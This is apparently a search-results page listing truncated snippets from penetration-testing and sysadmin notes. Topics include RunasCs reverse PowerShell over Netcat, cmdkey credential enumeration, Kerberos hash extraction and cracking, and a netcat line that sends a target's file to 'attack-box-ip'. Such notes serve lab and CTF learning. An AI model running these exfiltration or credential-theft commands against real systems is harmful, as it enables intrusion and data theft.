Search Results

RunasCs.exe Project GitHub https://github.com/antonioCoco/RunasCs/releases Example Usage Spawn Process with Network Credentials # -l 8 : logontype 8 (NetworkCleartext) # Launch reverse PowerShell session over Netcat socket .\RunasCs.exe -d domain.tld -l...

Considerations I urge you to consider taking a snapshot of your Kali instance at its current state before installing Wine. That way you can easily roll it back in case anything goes wrong with the install or you're unhappy with the performance. Install Win...

Credential Enumeration cmdkey /list In reverse shells, I have noticed that it's impossible to spawn processes using runas.exe /savecred /user:DOMAIN\username if the credential is stored in Windows Credential Manager. That said, we may still be able to dump ...

PCAP Analysis Kerberos AS-REQ Pre-Auth Hashes Note the existence of KRB5 protocol traffic on tcp/88, which is further identified as AS-REQ data. If we inspect the application layer data in the packets, we can see details such as username, domain info, etc. We...

Example VM I want to export the pfsense-deleteme VM and import it into VirtualBox. The procedure can effectively be reduced to: Convert the VM's disk to VDI format Copy the VM's disk to the host running VirtualBox Create the VM in VirtualBox Attach the VDI dis...

Installing Faketime sudo apt install faketime faketime -h This will run the specified 'program' with the given 'arguments'.The program will be tricked into seeing the given 'timestamp' as its starting date and time.The clock will continue to run from this tim...

Problem Microsoft has continued to push many aspects of Windows security under the Hyper-V platform to create a secure isolation layer. Because of the widespread and continually changing nature of Hyper-V usage in Windows updates, this creates performance issu...

Disk Compatibility Formatting a USB drive in FAT32 on a Windows computer will cause the printer to report that the USB drive is unsupported! Format the drive on a Linux host (e.g. USB passthrough to a Linux VM on VirtualBox) Formatting the USB on Linux Id...

SALT=$(openssl rand -base64 6) # Salted MD5 openssl passwd -1 -salt $SALT your_password # Salted SHA-256 openssl passwd -5 -salt $SALT your_password # Salted SHA-512 openssl passwd -6 -salt $SALT your_password Generate a salted hash using the code exa...

Set up Custom Logging sudo apt install -y libnginx-mod-http-lua Install Nginx LUA libraries sudo nano /etc/nginx/nginx.conf.d/header_logging.conf Edit the Nginx configuration file http { # ... # ... # ... log_format custom 'Time: $time_lo...

Problem In the browser, you enter http://domain.tld or http://10.10.10.10 for example. If you're working on a CTF or a project where HTTP over TLS is not enabled, then the default setting of the Burp Chromium browser is to try and upgrade the connection to ht...

nano serv.py import http.server bind_address='0.0.0.0' port=80 class CustomRequestHandler(http.server.SimpleHTTPRequestHandler): def do_GET(self): headers = self.headers for header, value in headers.items(): print(...

Find Hash Format Modules Find supported hash types hashcat -hh | grep -i <hash_type> Show info about the SHA-256($pass.$salt) mode hashcat --hash-info -m 1410 Example.Hash........: 5bb7456f43e3610363f68ad6de82b8b96f3fc9ad24e9d1f1f8d8bd89638db7c0:12480864321 N...

Find Hash Format Modules Find supported hash types # Field 1 is the Format label # Field 7 is the Algorithm name john --list=format-details --format=all | cut -f 1,7 | grep -i <hash_type> Show information about the netntlmv2 format john --list=format-all...

Linux Host Connecting to Windows Host Users may be able to get WSMan remoting to work using the PSWSMan module. This module isn't supported or maintained by Microsoft.-- https://learn.microsoft.com/en-us/powershell/scripting/security/remoting/wsman-remoting...

Attack Box Running FTP Server sudo apt install -y python3-pyftpdlib # Show help message sudo python3 -m pyftpdlib --help # Mount the /tmp directory read/write on Kali with anonymous login sudo python3 -m pyftpdlib -d /tmp --write --port=21 # Mount th...

Listener on Attack Box File from Target to Attack Box nc -lnvp 53 -q 3 > /tmp/got-the-file Start a listener on the attack box and redirect output nc -q 3 -nv attack-box-ip 53 < /path/to/file Connect to the listener and pull in the file File to Target fro...

SCP Syntax Review The most fundamental syntax for using scp is this: # Password Authentication # ----------------------- # Transfer from Local to Remote scp [local path] [username]@[target-ip]:[remote-path] # Transfer from Remote to Local scp [userna...